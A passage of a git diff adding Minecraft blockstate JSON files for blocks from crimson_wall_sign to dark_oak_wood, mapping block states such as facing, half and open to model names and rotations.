00000000..c2f40c97 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crying_obsidian.json b/src/assets/minecraft/blockstates/crying_obsidian.json new file mode 100644 index 00000000..fd7ad59e --- /dev/null +++ b/src/assets/minecraft/blockstates/crying_obsidian.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crying_obsidian" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cut_red_sandstone.json b/src/assets/minecraft/blockstates/cut_red_sandstone.json new file mode 100644 index 00000000..7ef05a72 --- /dev/null +++ b/src/assets/minecraft/blockstates/cut_red_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cut_red_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cut_red_sandstone_slab.json b/src/assets/minecraft/blockstates/cut_red_sandstone_slab.json new file mode 100644 index 00000000..0b7645ae --- /dev/null +++ b/src/assets/minecraft/blockstates/cut_red_sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/cut_red_sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/cut_red_sandstone" + }, + "type=top": { + "model": "minecraft:block/cut_red_sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cut_sandstone.json b/src/assets/minecraft/blockstates/cut_sandstone.json new file mode 100644 index 00000000..9bab8fc4 --- /dev/null +++ b/src/assets/minecraft/blockstates/cut_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cut_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cut_sandstone_slab.json b/src/assets/minecraft/blockstates/cut_sandstone_slab.json new file mode 100644 index 00000000..5c8f0520 --- /dev/null +++ b/src/assets/minecraft/blockstates/cut_sandstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/cut_sandstone_slab" + }, + "type=double": { + "model": "minecraft:block/cut_sandstone" + }, + "type=top": { + "model": "minecraft:block/cut_sandstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_banner.json b/src/assets/minecraft/blockstates/cyan_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_bed.json b/src/assets/minecraft/blockstates/cyan_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_carpet.json b/src/assets/minecraft/blockstates/cyan_carpet.json new file mode 100644 index 00000000..0b0212c5 --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_concrete.json b/src/assets/minecraft/blockstates/cyan_concrete.json new file mode 100644 index 00000000..32935a3b --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_concrete_powder.json b/src/assets/minecraft/blockstates/cyan_concrete_powder.json new file mode 100644 index 00000000..cf7085eb --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/cyan_concrete_powder" + }, + { + "model": "minecraft:block/cyan_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/cyan_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/cyan_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_glazed_terracotta.json b/src/assets/minecraft/blockstates/cyan_glazed_terracotta.json new file mode 100644 index 00000000..26276ef3 --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/cyan_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/cyan_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/cyan_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/cyan_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_shulker_box.json b/src/assets/minecraft/blockstates/cyan_shulker_box.json new file mode 100644 index 00000000..86214c0d --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_stained_glass.json b/src/assets/minecraft/blockstates/cyan_stained_glass.json new file mode 100644 index 00000000..6645a573 --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_stained_glass_pane.json b/src/assets/minecraft/blockstates/cyan_stained_glass_pane.json new file mode 100644 index 00000000..08676927 --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/cyan_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_terracotta.json b/src/assets/minecraft/blockstates/cyan_terracotta.json new file mode 100644 index 00000000..dca321fa --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_wall_banner.json b/src/assets/minecraft/blockstates/cyan_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cyan_wool.json b/src/assets/minecraft/blockstates/cyan_wool.json new file mode 100644 index 00000000..48b12b5a --- /dev/null +++ b/src/assets/minecraft/blockstates/cyan_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cyan_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/damaged_anvil.json b/src/assets/minecraft/blockstates/damaged_anvil.json new file mode 100644 index 00000000..cca2bca4 --- /dev/null +++ b/src/assets/minecraft/blockstates/damaged_anvil.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/damaged_anvil", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/damaged_anvil", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/damaged_anvil" + }, + "facing=west": { + "model": "minecraft:block/damaged_anvil", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dandelion.json b/src/assets/minecraft/blockstates/dandelion.json new file mode 100644 index 00000000..bf8a14b9 --- /dev/null +++ b/src/assets/minecraft/blockstates/dandelion.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dandelion" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_button.json b/src/assets/minecraft/blockstates/dark_oak_button.json new file mode 100644 index 00000000..75488108 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/dark_oak_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/dark_oak_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/dark_oak_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/dark_oak_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/dark_oak_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_door.json b/src/assets/minecraft/blockstates/dark_oak_door.json new file mode 100644 index 00000000..6dc514a5 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/dark_oak_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/dark_oak_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/dark_oak_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_fence.json b/src/assets/minecraft/blockstates/dark_oak_fence.json new file mode 100644 index 00000000..8373b36d --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/dark_oak_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/dark_oak_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/dark_oak_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/dark_oak_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/dark_oak_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_fence_gate.json b/src/assets/minecraft/blockstates/dark_oak_fence_gate.json new file mode 100644 index 00000000..9170480e --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/dark_oak_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/dark_oak_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/dark_oak_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/dark_oak_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/dark_oak_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/dark_oak_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/dark_oak_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/dark_oak_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/dark_oak_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/dark_oak_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/dark_oak_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/dark_oak_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/dark_oak_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/dark_oak_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/dark_oak_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/dark_oak_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_leaves.json b/src/assets/minecraft/blockstates/dark_oak_leaves.json new file mode 100644 index 00000000..0b6f4f4d --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_oak_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_log.json b/src/assets/minecraft/blockstates/dark_oak_log.json new file mode 100644 index 00000000..ae91a107 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/dark_oak_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/dark_oak_log" + }, + "axis=z": { + "model": "minecraft:block/dark_oak_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_planks.json b/src/assets/minecraft/blockstates/dark_oak_planks.json new file mode 100644 index 00000000..47194b08 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_oak_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_pressure_plate.json b/src/assets/minecraft/blockstates/dark_oak_pressure_plate.json new file mode 100644 index 00000000..7a3ce2af --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/dark_oak_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/dark_oak_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_sapling.json b/src/assets/minecraft/blockstates/dark_oak_sapling.json new file mode 100644 index 00000000..31435f37 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_oak_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_sign.json b/src/assets/minecraft/blockstates/dark_oak_sign.json new file mode 100644 index 00000000..d3e8f533 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_oak_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_slab.json b/src/assets/minecraft/blockstates/dark_oak_slab.json new file mode 100644 index 00000000..a99483a2 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/dark_oak_slab" + }, + "type=double": { + "model": "minecraft:block/dark_oak_planks" + }, + "type=top": { + "model": "minecraft:block/dark_oak_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_stairs.json b/src/assets/minecraft/blockstates/dark_oak_stairs.json new file mode 100644 index 00000000..53e97c0a --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/dark_oak_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/dark_oak_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/dark_oak_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/dark_oak_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_trapdoor.json b/src/assets/minecraft/blockstates/dark_oak_trapdoor.json new file mode 100644 index 00000000..87bb35c2 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_trapdoor.json @@ -0,0 +1,58 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_bottom" + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_top" + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 90 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open" + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_bottom" + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_top" + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 180 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_bottom" + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/dark_oak_trapdoor_top" + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/dark_oak_trapdoor_open", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_wall_sign.json b/src/assets/minecraft/blockstates/dark_oak_wall_sign.json new file mode 100644 index 00000000..d3e8f533 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_oak_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_oak_wood.json b/src/assets/minecraft/blockstates/dark_oak_wood.json new file mode 100644 index 